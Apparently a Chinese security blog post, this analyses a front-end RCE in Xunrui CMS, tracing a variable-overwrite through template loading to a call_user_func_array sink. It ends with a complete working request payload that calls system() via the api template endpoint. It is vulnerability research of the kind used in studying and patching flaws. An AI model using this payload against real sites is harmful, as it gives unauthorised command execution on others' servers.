讯睿cms前台rce分析

目录结构,index.php包含Fcms\init.php做入口,核心controller代码在dayrui中

在这里插入图片描述

路由为?s=控制器文件夹&c=具体控制器&m=方法,如?s=member&c=login&s=index

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1pIu2L7N-1631949235075)(迅睿cms.assets/image-20210818000538406.png)\]

直接到漏洞函数,首先通过get传入app name module参数

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D8Ldh2DD-1631949235076)(迅睿cms.assets/image-20210818000803178.png)\]

这里进入294行的else中,module和app可以为空,那么接着302行进入View#assign()

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-644i4JYj-1631949235078)(迅睿cms.assets/image-20210818001001485.png)\]

这里传入的参数是一整个_GET数组,然后赋给$this->_options

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S1PrQVrQ-1631949235078)(迅睿cms.assets/image-20210818001449084.png)\]

然后开启ob_start(),进入View#display。display是输出模板的函数,可以看到218行有extract,并且参数就是上面步骤的$this->_options,存在变量覆盖漏洞

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zZrq3j9S-1631949235079)(迅睿cms.assets/image-20210818001834233.png)\]

继续往下看,看有没有能利用的地方。221行做了一个简单的过滤,其中$phpcmf_name是传入display的第一个参数可控,那么_filename可控。224行的$phpcmf_dir可以通过变量覆盖改写,所以225行参数全可控,跟进查看

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oWcq5O0I-1631949235079)(迅睿cms.assets/image-20210818002127957.png)\]

View#get_file_name,大致看一下源码通过echo调试大法可以知道这就是返回传入的模板路径的,但是这里全都有is_file,所以我们只能让他返回存在的模板文件路径

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vrhiFMUc-1631949235080)(迅睿cms.assets/image-20210818002426217.png)\]

现在回到display,看到247行load_view_file,这里就不跟入了,作用是通过传入的模板文件生成一个对应的xxx.cache.php,然后252行include包含完成加载模板

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v4BqSliH-1631949235080)(迅睿cms.assets/image-20210818003008189.png)\]

那么可以直接挨个找可用的模板,这里使用dayrui\Fcms\View\api_related.html,传入

?s=api
&c=api
&m=template
&name=api_related.html
&module=
&app=
&phpcmf_dir=admin

看一下生成的cache文件,45行调用了$this->list_tag

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xUyTcYqf-1631949235081)(迅睿cms.assets/image-20210818003539183.png)\]

<?php $list_return = $this->list_tag("action=module module=$mid siteid=$site where=$where order=updatetime page=1 pagesize=$pagesize urlrule=$urlrule"); if ($list_return) extract($list_return, EXTR_OVERWRITE); $count=dr_count($return); if (is_array($return)) { $key=-1; foreach ($return as $t) { $key++; $is_first=$key==0 ? 1 : 0;$is_last=$count==$key+1 ? 1 : 0; ?>

因为包含工作是在View.php中执行的,所以看到View#list_tag,代码有点长,看到这里有一处call_user_func_array,条件是$system['action']='function' $cache为空 $param['name']为函数名

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-l1UrSghr-1631949235081)(迅睿cms.assets/image-20210818004140279.png)\]

找一下可以发现在这个循环中对system和param都赋值了,那么再找一下$params

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QBhcW5IV-1631949235081)(迅睿cms.assets/image-20210818004430097.png)\]

params的值是由参数$_params以空格为分割符打散的数组,

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J2cSVaM3-1631949235082)(迅睿cms.assets/image-20210818004615806.png)\]

参数demo,其中的变量都可控

action=module module=$mid siteid=$site where=$where order=updatetime page=1 pagesize=$pagesize urlrule=$urlrule

$_params为传入的参数如上->以空格打散后赋值给$params->$params遍历赋值给$system和$param

回到遍历这里,var val分别为=前后的值,我们想要$system['action']='function',可以通过变量覆盖

\[(img-2RV7jHq9-1631949235082)(迅睿cms.assets/image-20210818005249011.png)\]

因为$params是参数的空格打散,所以如果我们令这里的$mid= action=function,相当于我们自己添加了一个数组action=function进去

action=module module= action=function siteid=$site where=$where order=updatetime page=1 pagesize=$pagesize urlrule=$urlrule

同理函数名$param['name']也可以用$mid= action=function name=system来赋值,$cache不用管为NULL,然后参数必须必须以param开头,所以

payload

/index.php
?s=api
&c=api
&m=template
&name=api_related.html
&module=
&app=
&phpcmf_dir=admin
&mid=%20action=function%20name=system%20param0=calc

这个漏洞很巧妙,特别是在加载模板那里,要是我肯定到这一步就断了Orz
参考:https://xz.aliyun.com/t/10002#toc-2

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇